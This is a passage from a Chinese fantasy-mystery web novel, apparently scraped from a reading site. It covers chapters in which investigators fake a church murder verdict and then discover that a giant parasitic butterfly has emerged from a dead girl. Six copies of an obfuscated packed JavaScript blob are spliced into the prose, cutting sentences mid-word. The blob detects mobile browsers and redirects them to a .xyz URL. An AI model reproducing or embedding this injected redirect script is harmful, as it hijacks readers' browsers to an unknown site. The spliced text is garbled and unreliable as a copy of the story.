l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879077|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 镇民中的几个已经不可置信地捂住了嘴，在大概是老约翰逊亲戚的镇民中，有些人脸上的布巾开始被眼泪浸湿。 “这也是为什么看过小约翰逊伤口的萨拉小姐刚才一直没有说话。”卡里斯托继续说，“她其实很早就确定了凶手就是神父大人，所以看见神父大人的尸体时，才会觉得不知所措。” 萨拉沉默着点点头，似乎是同意了他的话。 “可是，神父大人怎么会做这样的事？” “是啊，神父大人一直都是最虔诚的信徒，他不该突然做出这种事吧？” “但莫德爵爷应该和神父大人关系不错，他这么说……” “莫德爵士都这么说了……” “是因为最近突然增多的蝴蝶。”卡里斯托低下头，语气低沉地说，“大家应该也都意识到了，那些磷粉会让人脾气暴躁，甚至产生幻觉。而也许很少有人知道，神父先生在来到我们这里之前，是自愿到无人区修行的苦修士。” “什么？” “神父大人是……” “作为苦修士，在磷粉造成的幻觉里，他错误地把本该施加在自己身上的苦行转移到了教堂的帮工，也是他的学生，小约翰逊身上。”卡里斯托摇摇头，“也是在这种幻觉里，老约翰逊暴怒地毁灭了神父与他自己。” 他叹了一口气：“虽然很难以置信，但是，这就是真相。” 镇民们在卡里斯托一大段一反常态、深情并茂的讲述中，终于露出些凝重，却恍然大悟的表情来。 “诶，原来是这样。”一些人开始叹气，“真是……” “谁能想得到！”另一些人紧锁眉头，“要我说啊，都怪那些该死的蝴蝶！” “可是，这样……” “你在可是些什么呢！难道你要怀疑莫德爵爷吗？” “不，不……” “真是太难以置信了！多亏了莫德爵士的智慧！” “事情就是这样，各位。”卡里斯托说，“麻烦大家先离开教堂吧，我们会处理这件事的后续事务的——还请大家相信莫德老爷，会给各位一个满意的答复。” “当然，当然。” “我们一直都相信莫德爵士。” 31. 第 31 章 镇民们和前一天一样渐渐散去了，老约翰逊的尸体被他的亲戚们抬走，大概要和他的儿子放到一起。刚刚被定罪的神父还躺在原处无人问津，伤口和四肢都已经变得灰白，像是快要与神坛融为一体的雕像。 “萨拉！”人群的最后，一个声音在教堂门口喊道。那是旅馆的另一位老板山姆，萨拉的哥哥，“莫德爵士这边的事解决得差不多了吧？快点回来，家里要忙不过来了。” 萨拉把目光从神父的尸体上收回来，看着留在教堂里的拉维妮娅等人，眼神微微闪烁了一下，扬声回答道：“我知道了，很快就来。” 她匆匆走下神坛的台阶，来到卡里斯托和“莫德爵士”身边，神色犹豫地说：“抱歉，店里没有我确实不太忙得过来，你们也知道，我哥哥他……行动不是非常方便。” 这位旅馆的女老板抿了抿她单薄得几乎看不见的嘴唇，嘴角的皱纹深深地陷下去，看起憔悴又疲惫。 “我会尽快找机会赶过来的。”她放轻了声音说，“我，我会亲自收敛老师的尸骨……希望你们……” “没关系，小姐。”杰拉尔德说，“这里有我们呢。” 萨拉黯淡的黑眼睛里闪出几分光彩来，她感激地向他们微微点头，快步追上她的哥哥，扶着他离开了。 卡里斯托跟过去，在确认最后一个镇民离开之后，伸手拉上了教堂用钢铁与木板铸成的沉重大门。 “……那不是真的，对吧？”一小段沉默后，拉维妮娅开口道，“关于你们刚才说的''全部的真相''。” “不是，我瞎编的。”杰拉尔德耸耸肩，“介于你们也没有提出什么更好的方法。” “等等！所以……”艾希莉惊讶地叫了一声，又意识到了什么，捂住了自己的嘴巴，小声说，“神父不是凶手吗？” “如果他是，他昨天就不该傻站在那个男孩的尸体旁边。”拉维妮娅说，“没有人比他更熟悉这个教堂，他完全可以先躲起来，再找个借口晚些出现。” “可是……也许是他没来得及躲起来呢？” “如果是那样，被发现的时候他应该正像个野兽一样浑身上下溅满血。想想吧，一个这样的大洞，不可能只有一点血渍——但昨天晚上他身上称得上是十分干净了。” 艾希莉不说话了，只是疑惑地望着身体僵硬的神父，蓝眼睛里一片混沌的浓雾。 “……所以，我们还不能走吗？”拉斐尔语调缓慢地问，他还在翻看爱丽丝女士的手稿，对于目前的情况看上去有些心不在焉，“凶手还没有找到？” “如果你想，我建议我们立刻就走。”拉维妮娅说，勉强能动的右手不耐烦地摩挲着裤子的缝线，“我们要做的事已经都做完了，这地方的情况乱得很，越早走越好。” “我同意。”杰拉尔德说，“时间拖得越久，事情只会越复杂。” “呃，可是，我们不找凶手了？”艾希莉无措地眨了眨眼，“要是之后还有……” “那是他们自己的事。”拉维妮娅看着她，“从我们的人身安全考虑，现在就是离开这里的最好时机。” “怎么样，小姐，你要怎么选？” “拉维！” “你知道艾希莉一定会选留下来的，对吧？”拉斐尔好像终于从文献里回过神来，叹了口气说，“不过，本着严谨治学的态度，我也觉得搞清楚这件事最好。” “所以我们现在是二对二了？”杰拉尔德抱着胳膊说，“走还是不走？” “是三对一。”拉维妮娅回过头看着他，高高挑起一边眉毛，“你根本就没想走，要不然你一直捏着那玩意干嘛？” “在这件事上我们彼此彼此，下垂眼小姐。”杰拉尔德耸耸肩，打开一直攥着的手掌，“有人见过这个吗？” 他的掌心里，躺着一支土制的、类似短笛的东西，上面粗糙地开了几个大小不一的小孔，没有开孔的地方，隐约露出些歪歪扭扭的花纹。 “这个……”拉斐尔眯起眼睛，“看上去有点眼熟……” “土哨。”卡里斯托看了一眼说，“这个镇上的小孩基本人手一个，不是什么稀奇东西。一般都是自己用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879078|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土捏的，放到炉膛里烤干了就能吹。但因为是干土，坏的也很快——不过左右也没什么成本，坏了再做就好。” 他伸手勾起哨子末尾的草绳，把它拎起来，在半空中摇摆着转圈：“你们看，这个哨子已经裂了，不太能出声了。” “可它出现在教堂里了。”杰拉尔德看着他，“两个成年男人，哪个带着这种小孩的玩具都不合理吧？” “也许是小约翰逊落下的。”卡里斯托说，“或者老约翰逊做给他的其他几个孩子的，这不奇怪。你看，它真的只是个普通的哨子而已。” 他把哨子凑到嘴边，吹了一下。 “等等！”拉斐尔突然叫道。 但是已经晚了。在卡里斯托吹响哨子的瞬间，哨子上那些歪七扭八的花纹突然发出了一阵亮光。 哨子发出一声漏气般的“嘘”声，和那阵亮光一起静默了。 “刚刚那是什么！”艾希莉叫起来，“它不是普通的哨子！” “我发誓我什么都不知道。”卡里斯托瞪大眼睛，不可置信地看着手里的哨子，“而且它刚刚也确实漏音了，就和普通的哨子裂掉之后一样。” “我早该想起来的！”拉斐尔用空着的手揪住自己的一缕卷发，“那是个简易符文叠加！虽然画得有点敷衍，但是肯定是有用的！” “符文？它有什么用处？” “我不清楚，但是……” 拉斐尔的声音突然消失了。 而在下一刻，所有人都看到，一片巨大的阴影掠过他们对面的窗子，宽大的翅膀划过空气，拂开四处乱飞的蝴蝶，在转瞬之间消失在窗子的一边。 “……那个东西是什么？”艾希莉嗫嚅着说，“它，它看起来像……” 在离窗户最近的地方，还抱着一摞书稿的拉斐尔愣愣地转过头来，求助般地望着他们。 “刚刚不止是我看到了，对吧？”他声音飘忽地说，“所以那确实是个看得见的东西……我就知道昨天那会不是我的错觉。” “——那是只比窗子还宽的蝴蝶吗？” 32. 第 32 章 “它好像不见了。”杰拉尔德盯着窗外因为密密麻麻的蝴蝶翅膀而显得昏暗的天空，皱着眉头说，“是因为哨子的声音停了？” “对啊，真奇怪，那么大的蝴蝶就这么凭空消失了。”艾希莉望向教堂高高的窗子顶部，那里的彩绘玻璃下还有几只从屋外飞进来的蝴蝶在打着转，“而且要是我们看到了，那其他人也应该……” 她的话音未落，教堂的门外就想起了遥远的喊声。几个镇民的声音从不同的地方响起来，带着尖利的颤音。 “怪物！怪物！” “那是什么鬼东西！” “莫德爵士！莫德爵士还在教堂里！” “……我的天呐。”拉维妮娅看着蝴蝶消失的地方，忍不住骂了句脏话，“这下事情要变得更复杂了。” “这哪里复杂了？”拉斐尔指着窗外说，“罪魁祸首明显就是那只大得吓人的蝴蝶，我们已经破案了！” “你有什么证据吗，拉斐尔先生？”拉维妮娅扶着左手的手肘说，“说那只蝴蝶是被哨子声引来的？那么它到底为什么会被引来，又是怎么干掉三个人的？这些都解释不了吧？” “可是……” “而且，究竟是哪里来的这么大一只蝴蝶？”拉维妮娅继续说，“如果之前的人都是死于一只怪物，而不是单纯的人，那很多事情就要重新考虑了。” “最重要的是，现在只有我们在教堂里——不论发生什么，在我们拿出可信的解释之前，我们的嫌疑简直就是板上钉钉。” “那我们该怎么办？”拉斐尔揉了揉自己后脑的卷发，接着又想想起什么似的，把被弄乱的头发抚平。 “在镇民重新围到这里之前，找出点头绪来。”拉维妮娅说，“你之前不是说符文看起来眼熟吗，大学者？好好想想你是在哪看到的——或者咱们现在就跑路，也还来得及，怎么样？” 拉斐尔瞪大眼睛看着她，深吸了一口气。 “真幽默，拉维小姐。”他像是被挑战了一样，眼里闪着一股坚定的光芒，“不用那么麻烦，我大概想起来了，现在就能把那段文献找出来……给我一点时间。” 他的手快速翻动着手里的书稿，双眼微微移动着，聚精会神地黏在那一行行潦草地注释上。半分钟后，他动作不停，头也不抬地问：“卡里斯托……先生，您知道那位神父的住所在哪吗？我想去看看。” “我不清楚具体的房间。”卡里斯托说，“但用于住宿的房间在教堂的后院，我可以带您去。” “好的。”拉斐尔站起来，灰眼睛还直勾勾地落在书稿上，“谢谢您，先生。” “等等，拉斐尔！”艾希莉突然蹦起来，眼睛又向窗外瞟了瞟，“我，我和你们一起去。” 拉斐尔埋首在书稿间，含混地应了一声。 作为一个小镇上的教堂，这个教堂的面积不大，教堂大厅的后面有一条镂空的走廊通向后院，来回不过几分钟。杰拉尔德垂下眼睛，没说什么反对的话，卡里斯托和拉斐尔表兄妹的脚步很快消失在教堂走廊的一端。 教堂的大厅里只剩下杰拉尔德和拉维妮娅，他们隔了一段距离，并排靠在布道席的椅子上，在远处镇民的叫喊声里沉默着。 “你想谈谈那件事吗？” “什么？” “彼得.莫德。”杰拉尔德说，“你一直在逃避提起这件事。” 他犹豫了一下，抬起眼睛，看着一旁拉维妮娅垂落的亚麻色发梢：“如果你能觉得好过一点，当成是我做的也可以。” “不，不用了。”拉维妮娅低垂着头，那双琥珀色的眼睛在碎发和睫毛投下的阴影里看起来有些黯淡，但她的声音却没有一丝犹疑，斩钉截铁地说：“是我杀了他，不管他是不是真的该死。” “但再来一次，我也还是会这么做。因为不是他死，就是我死。” 她转头看向杰拉尔德，后者在她的眼睛里看到一种混杂着痛苦的强烈欲望：“而我还不想就这么死掉。” 杰拉尔德看着她，看到她眼睛里那种过于激烈的感情慢慢沉下去，浮上一丝死物般的沉寂。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879079|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是在想，拼一次，也许是最后一次。”杰拉尔德听到她轻声说，“活着或是死去。” “这一次，我活下来了。下一次，我的选择也还是一样。” 她的眼睛里还是燃烧着两簇火光，像是杰拉尔德第一次见她时，船舱里防风灯的火苗一直烧到了现在。 杰拉尔德很难形容自己现在是什么心情。也许他们两个都是，毕竟现在其实不是什么谈话的好时机，窗外的怪物不知道在哪里，门外还有随时会来到教堂的镇民。 但从内心深处，他其实有一种隐秘的、似乎是得到认同的欣喜。 “嗯。”他最后说，“这样也没什么不好。” “是吗。”拉维妮娅的目光转回去，注视着暗红色的神坛，“那你呢？” “你第一次……碰到这种情况，是什么时候？” “我还以为你知道呢。”杰拉尔德说，声音平静地显得有些缓慢，“你不是见过我的通缉令吗？” “但那不是第一次，不是吗？” “我的意思是，我之前可是侍从骑士。”杰拉尔德说，“我十五岁就上战场了，为了替那些真正''高贵的''骑士打头阵。” “和你现在的感觉也差不多。不是他们死，就是我。” “我没什么选择。” 他也望着神坛的方向。有几只蝴蝶飞下来，落在神父的胸前，仿佛在舔舐那个空洞的伤口。 “对于我们来说。”他轻声说，“一直都没有什么选择。” 空气重新静默下来，杰拉尔德说完这些，突然感到一阵剖白自己的惊恐。 我在干什么呢。他想，我们不过是见过几面的陌生人，临时的合作伙伴，这个大小姐朋友游戏的一部分。 他想应该开始后悔了，但他却奇异地没有多少后悔的情绪。 拉维妮娅却好像没想那么多。她沉默了一会，突然站起来，惊飞了神坛上的蝴蝶。 “死亡……死亡……”她喃喃地说，在神坛的空地前来回走动着，“我早该想到的……这不对劲……” 33. 第 33 章 “拉维。” 看着拉维妮娅在神坛前走了几个来回之后，杰拉尔德终于忍不住开口。 “你知道腿是没有办法代替嘴说话的，对吧？——你不开口，不管你在这里走多久，我都没法知道你的意思。” 拉维妮娅在神坛的一边停下来，隔着一点距离，回望向他。 “你说得对。因为彼得.莫德的死，我一直在回避直接回忆那段时间的事。”她突兀地说，“你记得，我们一开始是为什么会怀疑萨拉吗？” “因为她做得太明显了。”杰拉尔德说，“不论是不太站得住脚的理由，还是那个暗室墙壁上新得出奇的壁纸。” “没错，她对宅子太了解了，给出的线索也太明显了。”拉维妮娅微微俯身，看着杰拉尔德的眼睛，“但你记得她在进门的时候说了什么吗？” “大概是她在前门没见到人，所以才绕道从后门进……” 杰拉尔德停住了。 “你是说……” “她说在前门敲了很久的门。”拉维妮娅说，“可是我们根本没有听见敲门声——从之后门房敲门的力道来看，那声音可是在二楼都能听见。” “你是说，她一开始就没打算往前门走。”杰拉尔德皱起眉头，忍不住挠了挠粘着假胡子的下巴。 “那么，她一定是知道什么，比如说，没有人会来开门。” “这就是我想说的。”拉维妮娅说，“她很可能非常确定，彼得.莫德，甚至是卡里斯托，在那个时候都已经死了。” “但她没预料到会碰上我们？” “准确地说，她应该是没预料到我们会改变她的预期——她所期待的一定是一种无法反抗的力量，能够消灭在场的所有人。就像，老约翰逊和这里的神父。” 他们突然同时转变了眼神，目光越过神父和神坛，穿过教堂的窗户，落到后院的空地上。 那里原本看不出是什么地方——蝴蝶太多了，像某种闪着细碎光芒的粗粝雾气，遮住了大部分的视线。 现在，这股雾气开始移动起来，旋转起来，一股闪亮的飓风席卷了那一方小小的院子，它们逐渐聚拢起来，像一只逐渐上升的、半透明的蝶蛹。 在这只巨大的蝶蛹中间，是那只之前失踪的、巨大的蝴蝶。 镇民们还没有敲响教堂的房门，他们叫喊着，声音不远也不近，好像有什么景象让他们改变了主意，不再向教堂的方向聚拢过来。 蝴蝶振翅的声音从未如此剧烈过，甚至盖过了稍远地方的喊声。 也因此，几乎没有人注意到，有一声属于少女的喊叫，从那只虚幻的蝶蛹中心传来。 拉斐尔并没有在第一时间找到神父的房间。 教堂后院的长条形副楼有一排从门外看起来几乎一模一样的房间，他们只好推开每一个确认是不是要找的地方，实在有些耗费时间。 但拉斐尔还是锲而不舍地推开了一扇又一扇。在其中几个房间，他看到了不少空着的罐子，和画好的小型法阵，一些法阵旁边摆着木制的支架，上面细致地刻着一排刻度。 “这是标准的法阵导体效率控制工具。”拉斐尔拿起其中一个，志得意满地宣布，“我果然没有猜错，这位神父也是个研究学者。” “可你怎么会知道这个？”卡里斯托问，“神父从没有和我们说过他在进行研究。” “这个嘛。”拉斐尔下意识地想摸摸鼻子，不过今天他的手摸过太多东西，所以他硬生生地忍住了，轻咳了一声：“我确实是猜的……我在他的手指上看到了碳笔的印子，如果是抄写教义或是经文，一般是不会用到碳笔这种廉价材料的，而对于一个教士来说，需要用到碳笔的地方也很少——我只能猜测，他需要记录大量实验数据，并据此进行分析，或者推算。” 他举了举手里到书稿。 “就像这份手稿里，大部分的草稿都是用碳笔书写的，只有确定的公式或推测才用墨水标出——一般情况下，研究学者都会用这种方法整理思绪。” “但是也许他确实有其他用处……还好，这次我猜对了。” 他们推开另一扇门，看到狭窄的房间侧面有一只几层高的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879080|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小书架，放着几本装订好的纸册。 “……这应该是正式的研究笔记，日期、变量、结果都很详尽。”拉斐尔拿起一本册子，翻动了几下，说：“我猜这就是神父的房间了！” “这里甚至没有一张床。”卡里斯托眨眨眼说，“……这次是不是猜错了？” 他的表情看起来带着困惑和犹豫，但这个问句在他的嘴里听起来却像是陈述一般，语气平静地惊人，一如既往。 拉斐尔现在可不太听得见他的话了。年轻的学者在打开笔记的那一刻便埋首于研究记录中，灰眼睛里凝着一股旁人无法理解的热切。 “原来如此……”他喃喃地说，“原来如此……之前的文献里……符文改变空气的振动频率，只需要一点外力……再通过法阵控制……” “拉斐尔先生。”卡里斯托在静默了一会后，突然说。 “法阵……温度……变态发育……” “拉斐尔先生。” “磷粉……口器……” “拉斐尔先生。”卡里斯托抬高声音说，“院子里有点不对劲。” 他转过头，透过一面镂空的回廊，望向群蝶飞舞的空地，微微皱起眉头。 “而且……” 他忽然好像看到了什么，半句话似乎卡在了喉咙里，重新陷入了沉默。 “好的，麻烦您稍等一下。” 拉斐尔抬头看了一眼——大概率他什么也没看到，就像他刚刚说出的话也只是条件反射的礼貌，大概率不太知道自己说了什么。 “生物信息素……原来如此，原来如此……我知道了！我的天呐，这简直……” 他好像此时才突然恢复了对外界的感知，从笔记里抬起头，眼里那种兴奋的愉悦还未完全消去，却突然被某种心绪阻扰，使得他的表情在一时间非常扭曲。 “我的天呐。”他瞪着庭院里闪着朦胧彩光的巨蛹，如梦初醒般转头，几乎是惊惶地看向一旁的卡里斯托。 那里除了卡里斯托外再没有第二个人了。 “艾希莉去哪了？！” 34. 第 34 章 在拉斐尔终于发现表妹不见的一段时间之前，艾希莉跟着表哥穿过教堂开放式的走廊，从走廊一侧石柱与石柱之间的窗口向外望去，教堂主厅与后院之间的小院，像是笼罩着一层发光的雾气，闪烁着梦幻般的彩光。 蝴蝶还是到处都是，从庭院里，一直到没有窗户遮挡的走廊，挨挨挤挤，似乎永不疲惫、永不停歇地飞舞着。 或者也许还是有很多永远停下了。艾希莉想，只是这里的蝴蝶实在太多，没有人看的出来。 她长久地看着它们，感到一种滞涩的迷茫，好像在这里一开始那种纯粹的欣赏与迷恋已经离她远去，而令她胸口憋闷、心绪烦乱的复杂情绪充斥了她的思想。 爱丽丝女士，萨拉，彼得.莫德，死去的约翰逊父子和神父，还有…… 事情如偏飞的蝶群一般扑朔迷离，幻梦般迷离的光晕下，一切都不够单纯、不够纯粹。 这里究竟是什么地方呢？她想，是只有这里是这样，还是哪里都是这样？ 还有…… 她突然停住了。 在那片闪亮的薄雾里，庭院空地的中间，她看到了一个小小的人影。 艾希莉忍不住眯起眼睛，重新看过去。 那个人影和他们隔了一段距离，朦胧得不似一个真实的人，有那么几秒钟，艾希莉怀疑那是因为自己无意中吸入了蝴蝶磷粉产生的幻觉。 但她突然就确定了，那不是她的幻觉，像是冥冥之中有个声音在告诉她、肯定她，催促着她做些什么。 “拉斐尔……”她开口叫道，声音掩盖在布巾之下，闷闷的。 她的表哥没有回答她。 艾希莉转头向走廊的前方望去，他们不过差了几步的距离，拉斐尔的身影在无数的蝴蝶后面就显得有点模糊不清。 她又叫了一声，但拉斐尔大概是沉浸在自己的思绪里，含糊地应了一声，没有回头。 艾希莉停了下来，再次向庭院中望去。 这里刚好是走廊的中段，那个人影还在原处，庭院的中心位置，正好直直地对上艾希莉的视线。 她忍不住向庭院的方向走了几步。 在那一瞬间，她突然觉得她看清了一切，透过无数蝴蝶的翅膀，看见了开满鲜花的庭院，以及庭院中心的少女。 她有一头美丽的金红色头发，让人想起阳光下发光的丝绸。 艾希莉瞪大了眼睛，手脚并用地翻过庭院没有遮挡窗户，向庭院中心跑去。 “勒托！” “我的天呐！”拉斐尔大叫起来，“艾希莉到底去哪了！” 他和卡里斯托飞奔着穿过走廊，向教堂的主厅跑去。 蝴蝶飞舞的速度越来越快，像一股飓风袭过他们的身侧，翅膀擦过衣角和帽子，发出类似纸张边缘划过皮肤的微妙响声。 “艾希莉！”拉斐尔喊道，“艾希莉！你在哪？” 没有人回答他，蝴蝶翅膀的声音聚集在一起，如同巨人在耳边低语。 “怎么回事？” 拉斐尔抬起头，看到杰拉尔德正推开教堂主厅的后门，和拉维妮娅一起走到走廊上。 “怎么回事？艾希莉怎么了？”拉维妮娅问。 “艾希莉不见了！”拉斐尔的额头磕在手里厚厚的手稿上，“我的天呐，瑞伊姨妈会杀了我的。” “是因为那只蝴蝶？”杰拉尔德皱起眉头，看向庭院里已经飞到教堂二楼的巨大蝴蝶，“究竟为什么一只蝴蝶会攻击人？它们应该是吸食花蜜的昆虫吧？” 他抽出自己的剑，对准了“蝶蛹”中蝴蝶的影子。 “算了，情况紧急，先把它干掉再说。” “不，等等……” “等等！” 两个声音同时响起来，走廊里的人几乎是一同惊讶地转过头，看向从庭院的方向跑来的少女。 “艾希莉！”拉斐尔的声音听起来像是肺突然被人踹了一脚，“你之前去哪了！” “先、先等一等！”艾希莉翻过走廊的窗户，跌跌撞撞地走向表哥，几乎是挂在他的胳膊上，一只手死死地抓着他的袖子。 “听我说，有什么地方不对劲……” 她腾出另一只手，指向庭院的中央。 “那是勒托！” 时间回到几分钟之前。 “勒托！”艾希莉喊道，“你怎么在这里？” 她想起了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879081|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，不由得顿了一下：“你……你没事吗？” “彼得.莫德……你的养父莫德先生已经……不在了，你不用再……” 她走上前去，和勒托一样，在庭院的草地上坐下来，抓住面前少女的手。 那双手还是冷得像冰。 “勒托……”艾希莉小心翼翼地说，“你是不是……被他逼着……做那些事情的？” 勒托看着她，面部非常柔和，像是在微笑，艾希莉却又不是非常确定。 目前的少女眼神空洞，像是看着远方的虚空，只是恰好对上了她的脸。 “艾希莉。”紫色眼睛的少女缓缓地说，“我要走了。” “什……什么？” “你看。”勒托张开手，她的手心有一只翅膀皱缩的蝴蝶。 “我们总是这样。”她说，“我现在知道了我的命运，我的生命也快要结束了。” “和这里所有的同类一样，我们都将消亡在这个季节。” “我等了整整一年，就为了这一刻。” “……你究竟在说什么，勒托？”艾希莉抓紧她的手，“我，我听不明白……听我说，你还很年轻，不会就这么死的……这没有道理……” “你，你是不是碰上什么事了？”她凑近少女的面孔，“告诉我吧，我们可以一起解决，还有我表哥，他知道很多东西，如果你……” “再见，艾希莉。”勒托向她真切地微笑起来，轻巧地挣脱了她的手，认识你非常高兴。” “……勒托也会高兴的。” “勒托？你到底……” 少女的面容突然模糊了，她美丽的紫色眼睛缓缓闭上，整个人突然像一口麻袋一般，松垮地落在草地上，轻飘飘地，不像是一个人的重量。 在她倒下的瞬间，她的背后展开了一对巨大的翅膀。 它过于巨大了，也离得过于近了，艾希莉几乎可以看到翅膀上细密的纹路。 那对翅膀的颜色比周围的蝴蝶黯淡一些，也没有什么花纹，它在空中挥舞着，带动着蝴蝶硕大的身体从少女的背后出现，像是挣脱一个狭小的蛹皮。 少女软绵绵地倒在地上，没有了任何生息。 35. 第 35 章 “你说什么？”拉斐尔的声音在蝴蝶翅膀组成的风声中显得非常无力，“那是什么东西？” “那是勒托！”艾希莉几乎是崩溃地叫道，“你们听我说，我刚才看见她坐在院子里，我，我就去和她说话，然后，然后她突然就倒下去了，接着……嘿！” 卡里斯托在她的话说到一半时就朝庭院的方向冲了出去，他的动作比艾希莉要矫健许多，眨眼之间就消失在万千蝴蝶组成的旋风中间。 “你在开玩笑吧？”拉斐尔翻动着手里的书稿，“人类是不可能变成蝴蝶的！即使是无人区的特殊品种也不行！” “这是什么意思？”拉维妮娅皱起眉头，“这种蝴蝶是无人区怪物的一种？” “对，我在神父的……大概是书房里找到了关于这种蝴蝶的手稿。”拉斐尔说，“和一般蝴蝶不同，这种蝴蝶有两套口器，以便在植物稀缺的时候进食其他东西活下来……” 他突然想到了什么似的，瞪大了那双灰眼睛。 “卡里斯托怎么跑到庭院里去了！”他大喊起来，“快让他回来，那只蝴蝶很危险！” “那可是他妹妹。”杰拉尔德说，“他那么激动很正常。再说，你表妹不是也没什么事吗？” “可是……哎呀，这不对！”拉斐尔烦躁地说，看上去想揪住自己的头发，却只摸到了后脑缠着的布巾。 “你们听见我之前的话了吗？那些蝴蝶有两套口器，其中一套是类似于蝗虫的咀嚼式，也就是说……” “那个大蝴蝶是真的可以吃人的！” 灰眼睛的年轻学者几乎是崩溃地挥舞着一只胳膊——当然，他的另一只手正牢牢地把书稿护在胸前。 “我一开始觉得是蝴蝶信息素和磷粉造成的幻觉，因为神父和那个男孩接触这种实验太久了，他们大概受到这些致幻且有毒的蝴蝶影响过深，所以开始自相残杀……” “……但是现在看来，杀死他们很可能就是这只蝴蝶。那个神父之前在做的是有关这种蝴蝶交流声波含义的实验，它大概是被实验过程中发出的某种声波吸引了，但在这个教堂里没有找到其他蝴蝶……就把发出声波的人当作了蝴蝶。” “就算是这样，一只蝴蝶为什么要攻击同类？”拉维妮娅看着庭院里的蝴蝶和人影说，“而且，到底哪里来这么大的蝴蝶……” “这种蝴蝶和螳螂一样，会在□□完成之后吃掉雄蝶，以获得足够的营养产卵。”拉斐尔说，“我不知道它呃……有没有……就是……但是它大概是把那些人当成发出求偶信号的雄蝶了！” “又是蝗虫又是螳螂的。”拉维妮娅的语调听起来也有点崩溃，“这到底还算不算是蝴蝶？” “所以它们不是普通蝴蝶。”杰拉尔德说，“它们是无人区的怪物。” “那个叫卡里斯托的还没回来呢！”艾希莉趴在窗口上叫道，“……那，那只蝴蝶是杀了勒托吗？” 他们看向庭院里的巨大蝴蝶，它已经飞得很高了，在教堂的尖顶上盘旋着，那些普通的小蝴蝶依旧围绕在它的周围，像一片闪光的云霞。太阳已经快要落山了，那些飞旋着的蝴蝶翅膀在橙红色的阳光下反射出一圈硕大的彩色光晕，衬得教堂尖顶上双瞳神目的标志反倒黯淡了许多。 庭院里的蝴蝶已经几乎散去了，只有少许的蝴蝶还在扑腾着希望加入教堂顶上的同类。 卡里斯托的身影此刻在庭院里显得非常清晰，连同他脚下，勒托干瘪的身躯一起。 他们来到院子里，那个倒在草地上的少女只剩下一张空荡的皮。 和那个美丽的少女不同，这张皮已经溃烂，布满灰白色的斑纹。 她早已死去多时了。 “卡里斯托。”杰拉尔德斟酌着说，“你……” 他没能说下去。 美丽少女的哥哥站在那张皮旁边，像一尊快要碎裂的石像。 “这究竟是怎么回事？”艾希莉的声音很低，不住地哆嗦着嘴唇，“刚才……刚才她还好好的……” “听我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879082|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，艾希莉。”拉斐尔也压低了声音，“她可能……很早以前就……死了。” “为什么？”艾希莉抓住了表哥的一只胳膊，“这不可能，你在开玩笑吧？” “因为无人区资源匮乏，这种蝴蝶会把卵产在体型更大一些的恒温生物身上，借由阳光和提问把卵孵化。而那些幼虫在没有足够营养的时候，就会啃食寄生的生物，最后在他们体内成蛹，破茧而出。” 也许是这个说法听起来实在太残酷、太猎奇了，拉斐尔的眉头锁得很紧。 “这么大的蝴蝶，那些小型动物肯定没有办法满足它……人也许勉强可以。” “所以……” “可是……可是……”这下不只是嘴唇，艾希莉简直全身都在发抖，“她刚刚还在和我说话呀……” 